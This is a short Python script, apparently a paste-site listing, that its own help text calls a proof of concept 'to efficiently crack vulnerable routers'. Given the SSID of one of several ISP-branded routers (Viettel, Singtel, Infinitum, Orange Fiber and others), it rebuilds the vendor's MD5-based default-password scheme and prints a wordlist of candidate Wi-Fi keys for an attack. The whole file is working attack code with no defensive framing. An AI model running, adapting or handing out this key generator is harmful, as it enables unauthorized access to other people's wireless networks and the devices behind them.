keygen.py 2.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566
  1. #!/usr/bin/env python3
  2. import argparse, base64, hashlib, re
  3. def genpwd_longpasswd(oui, serialnum):
  4. def str2md5(string):
  5. m = hashlib.md5()
  6. m.update(string.encode("ascii"))
  7. return m.digest()
  8. #secret1 = "%s-ALCL%s" % (oui, serialnum)
  9. secret2 = "%s-01%u" % (oui, int(serialnum, 16))
  10. #md5_secret1 = str2md5(secret1)
  11. md5_secret2 = str2md5(secret2)
  12. #wanpasswd = base64.b32encode(bytes(bytearray(md5_secret1[:16] + md5_secret2[:3]))).decode("ascii")[:30]
  13. lower = upper = i = 0
  14. for i in range(8):
  15. upper = (lower >> 0x18 | ((upper << 8)&0xffffffff))&0xffffffff
  16. lower = (((lower << 8)&0xffffffff) | md5_secret2[i + 8])&0xffffffff
  17. longpasswd = ((upper<<32)+lower)%0x2540be400
  18. return longpasswd
  19. parser = argparse.ArgumentParser(prog="poc", description="A poc script to efficiently crack vulnerable routers")
  20. parser.add_argument("ssid", type=str, help="the ssid to attack")
  21. args = parser.parse_args()
  22. oui = "D0542D"
  23. ssids = [ "VIETTEL-[A-F0-9]{4}",
  24. "SKYTEL-[A-F0-9]{4}",
  25. "SINGTEL-[A-F0-9]{4}-5G-1",
  26. "SINGTEL-[A-F0-9]{4}",
  27. "ORANGEFIBER-[A-F0-9]{4}",
  28. "INFINITUM[A-F0-9]{4}_5-4",
  29. "INFINITUM[A-F0-9]{4}_5-3",
  30. "INFINITUM[A-F0-9]{4}_5-2",
  31. "INFINITUM[A-F0-9]{4}_5",
  32. "INFINITUM[A-F0-9]{4}_2.4-4",
  33. "INFINITUM[A-F0-9]{4}_2.4-3",
  34. "INFINITUM[A-F0-9]{4}_2.4-2",
  35. "INFINITUM[A-F0-9]{4}_2.4",
  36. "GO_WiFi_[A-F0-9]{4}",
  37. "ALHN-[A-F0-9]{4}-4",
  38. "ALHN-[A-F0-9]{4}-3",
  39. "ALHN-[A-F0-9]{4}-11ac-4",
  40. "ALHN-[A-F0-9]{4}-11ac-3",
  41. "ALHN-[A-F0-9]{4}-11ac-2",
  42. "ALHN-[A-F0-9]{4}-11ac",
  43. "ALHN-[A-F0-9]{4}"]
  44. wordlist = set()
  45. for s in ssids:
  46. if re.match(s, args.ssid) != None:
  47. serialBytes = args.ssid
  48. for r in s.split("[A-F0-9]{4}"):
  49. serialBytes = serialBytes.replace(r, "")
  50. for i in range(0xffff):
  51. print(genpwd_longpasswd(oui, "{:04x}{}".format(i, serialBytes)))
  52. break